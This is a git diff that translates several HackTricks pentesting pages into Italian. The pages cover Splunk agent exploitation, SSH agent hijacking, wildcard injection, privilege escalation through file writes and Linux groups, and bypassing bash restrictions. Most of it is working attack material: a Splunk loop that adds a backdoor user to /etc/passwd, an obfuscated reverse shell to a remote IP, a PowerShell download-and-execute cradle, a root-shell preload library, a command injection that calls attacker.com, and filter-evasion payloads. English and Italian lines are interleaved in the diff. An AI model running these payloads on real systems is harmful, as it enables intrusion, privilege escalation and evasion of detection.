- L'agente UF non convalida le connessioni in arrivo o l'autenticità del codice, rendendolo vulnerabile all'esecuzione non autorizzata di codice.
- I metodi comuni per acquisire password includono la loro localizzazione in directory di rete, condivisioni di file o documentazione interna.
- Un exploit riuscito può portare a accesso a livello SYSTEM o root su host compromessi, esfiltrazione di dati e ulteriore infiltrazione nella rete.
**Exploit Execution:**
**Esecuzione dell'Exploit:**
1. Attacker obtains the UF agent password.
2. Utilizes the Splunk API to send commands or scripts to the agents.
3. Possible actions include file extraction, user account manipulation, and system compromise.
1. L'attaccante ottiene la password dell'agente UF.
2. Utilizza l'API di Splunk per inviare comandi o script agli agenti.
3. Le azioni possibili includono estrazione di file, manipolazione di account utente e compromissione del sistema.
**Impact:**
**Impatto:**
- Full network compromise with SYSTEM/root level permissions on each host.
- Potential for disabling logging to evade detection.
- Installation of backdoors or ransomware.
**Example Command for Exploitation:**
- Compromissione completa della rete con permessi a livello SYSTEM/root su ogni host.
- Potenziale per disabilitare il logging per evitare il rilevamento.
- Installazione di backdoor o ransomware.
**Esempio di Comando per l'Exploitation:**
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
**Usable public exploits:**
**Sfruttamenti pubblici utilizzabili:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
## Abusing Splunk Queries
## Abusare delle Query di Splunk
**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
**Per ulteriori dettagli controlla il post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,30 +1,26 @@
{{#include ../../banners/hacktricks-training.md}}
# Summary
What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this:
# Riepilogo
Cosa puoi fare se scopri all'interno di `/etc/ssh_config` o all'interno di `$HOME/.ssh/config` questa configurazione:
```
ForwardAgent yes
```
Se sei root all'interno della macchina, puoi probabilmente **accedere a qualsiasi connessione ssh effettuata da qualsiasi agente** che puoi trovare nella _/tmp_ directory
If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory
Impersonate Bob using one of Bob's ssh-agent:
Impersonare Bob utilizzando uno degli ssh-agent di Bob:
```bash
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
```
## Perché funziona?
## Why does this work?
Quando imposti la variabile `SSH_AUTH_SOCK` stai accedendo alle chiavi di Bob che sono state utilizzate nella connessione ssh di Bob. Poi, se la sua chiave privata è ancora lì (normalmente lo sarà), sarai in grado di accedere a qualsiasi host utilizzandola.
When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it.
Poiché la chiave privata è salvata nella memoria dell'agente in chiaro, suppongo che se sei Bob ma non conosci la password della chiave privata, puoi comunque accedere all'agente e usarla.
As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it.
Un'altra opzione è che l'utente proprietario dell'agente e root possano accedere alla memoria dell'agente ed estrarre la chiave privata.
Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key.
# Lunga spiegazione e sfruttamento
# Long explanation and exploitation
**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
**Controlla il [ricerca originale qui](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,71 +2,59 @@
## chown, chmod
You can **indicate which file owner and permissions you want to copy for the rest of the files**
Puoi **indicare quale proprietario del file e quali permessi desideri copiare per il resto dei file**
```bash
touch "--reference=/my/own/path/filename"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Puoi sfruttare questo usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attacco combinato)_\
Ulteriori informazioni in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Tar
**Execute arbitrary commands:**
**Esegui comandi arbitrari:**
```bash
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Puoi sfruttare questo usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attacco tar)_\
Ulteriori informazioni in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Rsync
**Execute arbitrary commands:**
**Esegui comandi arbitrari:**
```bash
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
```
```bash
touch "-e sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Puoi sfruttare questo usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
Ulteriori informazioni in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## 7z
In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
In **7z** anche usando `--` prima di `*` (nota che `--` significa che l'input successivo non può essere trattato come parametri, quindi solo percorsi di file in questo caso) puoi causare un errore arbitrario per leggere un file, quindi se un comando come il seguente viene eseguito da root:
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```
And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
E puoi creare file nella cartella in cui viene eseguito questo, potresti creare il file `@root.txt` e il file `root.txt` che è un **symlink** al file che vuoi leggere:
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
```
Poi, quando **7z** viene eseguito, tratterà `root.txt` come un file contenente l'elenco dei file che dovrebbe comprimere (questo è ciò che indica l'esistenza di `@root.txt`) e quando 7z legge `root.txt`, leggerà `/file/you/want/to/read` e **poiché il contenuto di questo file non è un elenco di file, genererà un errore** mostrando il contenuto.
Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.
_More info in Write-ups of the box CTF from HackTheBox._
_Maggiori informazioni nei Write-up della box CTF di HackTheBox._
## Zip
**Execute arbitrary commands:**
**Eseguire comandi arbitrari:**
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,40 +1,36 @@
# Arbitrary File Write to Root
# Scrittura Arbitraria di File come Root
{{#include ../../banners/hacktricks-training.md}}
### /etc/ld.so.preload
This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\
If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary.
For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`
Questo file si comporta come la variabile d'ambiente **`LD_PRELOAD`** ma funziona anche nei **binaries SUID**.\
Se puoi crearlo o modificarlo, puoi semplicemente aggiungere un **percorso a una libreria che verrà caricata** con ogni binary eseguito.
Ad esempio: `echo "/tmp/pe.so" > /etc/ld.so.preload`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
### Git hooks
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**.
For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) sono **script** che vengono **eseguiti** su vari **eventi** in un repository git, come quando viene creato un commit, un merge... Quindi, se uno **script o utente privilegiato** sta eseguendo queste azioni frequentemente ed è possibile **scrivere nella cartella `.git`**, questo può essere utilizzato per **privesc**.
Ad esempio, è possibile **generare uno script** in un repo git in **`.git/hooks`** in modo che venga sempre eseguito quando viene creato un nuovo commit:
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
### Cron & Time files
TODO
@ -45,6 +41,6 @@ TODO
### binfmt_misc
The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.
Il file situato in `/proc/sys/fs/binfmt_misc` indica quale binario dovrebbe eseguire quale tipo di file. TODO: controlla i requisiti per abusare di questo per eseguire una rev shell quando un tipo di file comune è aperto.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,9 @@
# Useful Linux Commands
# Comandi Linux Utili
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}
## Common Bash
## Bash Comuni
```bash
#Exfiltration using Base64
base64 -w 0 file
@ -130,17 +122,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Bash for Windows
## Bash per Windows
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
@ -160,9 +142,7 @@ python pyinstaller.py --onefile exploit.py
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -242,9 +222,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Find
## Trova
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
@ -273,25 +251,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Nmap search help
## Aiuto per la ricerca Nmap
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Bash
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
```bash
#Delete curent rules and chains
iptables --flush
@ -322,13 +294,4 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -2,26 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Common Limitations Bypasses
## Bypass delle Limitazioni Comuni
### Reverse Shell
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Short Rev shell
### Shell Rev corta
```bash
#Trick from Dikline
#Get a rev shell with
@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypass Paths and forbidden words
### Bypass Paths e parole vietate
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -86,9 +73,7 @@ mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Bypass forbidden spaces
```bash
# {form}
{cat,lol.txt} # cat lol.txt
@ -121,22 +106,16 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Bypass backslash and slash
### Bypass backslash e slash
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Bypass pipes
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Bypass with hex encoding
### Bypass con codifica esadecimale
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -146,36 +125,28 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Bypass IPs
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Time based data exfiltration
### Esfiltrazione di dati basata sul tempo
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Getting chars from Env Variables
### Ottenere caratteri dalle variabili d'ambiente
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS data exfiltration
You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
Puoi usare **burpcollab** o [**pingb**](http://pingb.in) per esempio.
### Builtins
In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**:
Nel caso in cui non puoi eseguire funzioni esterne e hai solo accesso a un **insieme limitato di builtins per ottenere RCE**, ci sono alcuni trucchi utili per farlo. Di solito **non sarai in grado di usare tutti** i **builtins**, quindi dovresti **conoscere tutte le tue opzioni** per cercare di bypassare la jail. Idea da [**devploit**](https://twitter.com/devploit).\
Prima di tutto controlla tutti i [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Poi qui hai alcune **raccomandazioni**:
```bash
# Get list of builtins
declare builtins
@ -227,30 +198,22 @@ chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Polyglot command injection
### Iniezione di comandi poliglotta
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypass potential regexes
### Bypassare potenziali regex
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE with 5 chars
### RCE con 5 caratteri
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
@ -297,9 +260,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE with 4 chars
### RCE con 4 caratteri
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@ -334,34 +295,25 @@ ln /f*
'sh x'
'sh g'
```
## Bypass di Read-Only/Noexec/Distroless
## Read-Only/Noexec/Distroless Bypass
If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:**
Se ti trovi all'interno di un filesystem con le **protezioni read-only e noexec** o anche in un container distroless, ci sono ancora modi per **eseguire binari arbitrari, anche una shell!:**
{{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Chroot & other Jails Bypass
## Bypass di Chroot e altre Jails
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## References & More
## Riferimenti e Altro
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,25 +1,23 @@
{{#include ../../banners/hacktricks-training.md}}
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
Ulteriori esempi su yum possono essere trovati su [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
# Executing arbitrary commands via RPM Packages
# Esecuzione di comandi arbitrari tramite pacchetti RPM
## Checking the Environment
## Controllo dell'ambiente
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
Per sfruttare questo vettore, l'utente deve essere in grado di eseguire comandi yum come un utente con privilegi superiori, cioè root.
### A working example of this vector
### Un esempio funzionante di questo vettore
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
Un esempio funzionante di questo exploit può essere trovato nella stanza [daily bugle](https://tryhackme.com/room/dailybugle) su [tryhackme](https://tryhackme.com).
## Packing an RPM
## Creazione di un RPM
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
Nella sezione seguente, tratterò l'imballaggio di una reverse shell in un RPM utilizzando [fpm](https://github.com/jordansissel/fpm).
L'esempio seguente crea un pacchetto che include un trigger prima dell'installazione con uno script arbitrario che può essere definito dall'attaccante. Quando installato, questo pacchetto eseguirà il comando arbitrario. Ho usato un semplice esempio di reverse netcat shell per dimostrazione, ma questo può essere cambiato secondo necessità.
```text
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,11 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
# Gruppi Sudo/Admin
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
# Sudo/Admin Groups
## **PE - Method 1**
**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
## **PE - Metodo 1**
**A volte**, **per impostazione predefinita \(o perché alcuni software ne hanno bisogno\)** all'interno del **/etc/sudoers** file puoi trovare alcune di queste righe:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -20,48 +13,35 @@ Get Access Today:
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Questo significa che **qualsiasi utente che appartiene al gruppo sudo o admin può eseguire qualsiasi cosa come sudo**.
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Se questo è il caso, per **diventare root puoi semplicemente eseguire**:
```text
sudo su
```
## PE - Metodo 2
## PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
Trova tutti i binari suid e controlla se c'è il binario **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
Check the contents of:
Se scopri che il binario pkexec è un binario SUID e appartieni a sudo o admin, potresti probabilmente eseguire binari come sudo utilizzando pkexec. Controlla il contenuto di:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Lì troverai quali gruppi sono autorizzati a eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni linux possono **apparire** alcuni dei gruppi **sudo o admin**.
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**.
To **become root you can execute**:
Per **diventare root puoi eseguire**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
Se provi a eseguire **pkexec** e ricevi questo **errore**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione per questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -72,39 +52,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Gruppo Wheel
# Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**A volte**, **per impostazione predefinita** all'interno del **/etc/sudoers** file puoi trovare questa riga:
```text
%wheel ALL=(ALL:ALL) ALL
```
Questo significa che **qualsiasi utente che appartiene al gruppo wheel può eseguire qualsiasi cosa come sudo**.
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Se questo è il caso, per **diventare root puoi semplicemente eseguire**:
```text
sudo su
```
# Gruppo Shadow
# Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
Gli utenti del **gruppo shadow** possono **leggere** il file **/etc/shadow**:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Quindi, leggi il file e prova a **crackare alcuni hash**.
So, read the file and try to **crack some hashes**.
# Gruppo Disco
# Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
Questo privilegio è quasi **equivalente all'accesso root** poiché puoi accedere a tutti i dati all'interno della macchina.
File:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
@ -112,70 +84,55 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
Nota che usando debugfs puoi anche **scrivere file**. Ad esempio, per copiare `/tmp/asd1.txt` in `/tmp/asd2.txt` puoi fare:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
Tuttavia, se provi a **scrivere file di proprietà di root** \(come `/etc/shadow` o `/etc/passwd`\) riceverai un errore di "**Permesso negato**".
# Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
Utilizzando il comando `w` puoi scoprire **chi è connesso al sistema** e mostrerà un output simile al seguente:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Il **tty1** significa che l'utente **yossi è connesso fisicamente** a un terminale sulla macchina.
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per fare ciò, devi **catturare l'immagine corrente sullo schermo** in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in `/dev/fb0` e puoi trovare la risoluzione di questo schermo in `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il file **`screen.raw`** e selezionare come tipo di file **Raw image data**:
![](../../images/image%20%28208%29.png)
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
Poi modifica la Larghezza e l'Altezza a quelle utilizzate sullo schermo e controlla diversi Tipi di Immagine \(e seleziona quello che mostra meglio lo schermo\):
![](../../images/image%20%28295%29.png)
# Root Group
# Gruppo Root
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per escalare i privilegi...
**Controlla quali file i membri root possono modificare**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Gruppo Docker
# Docker Group
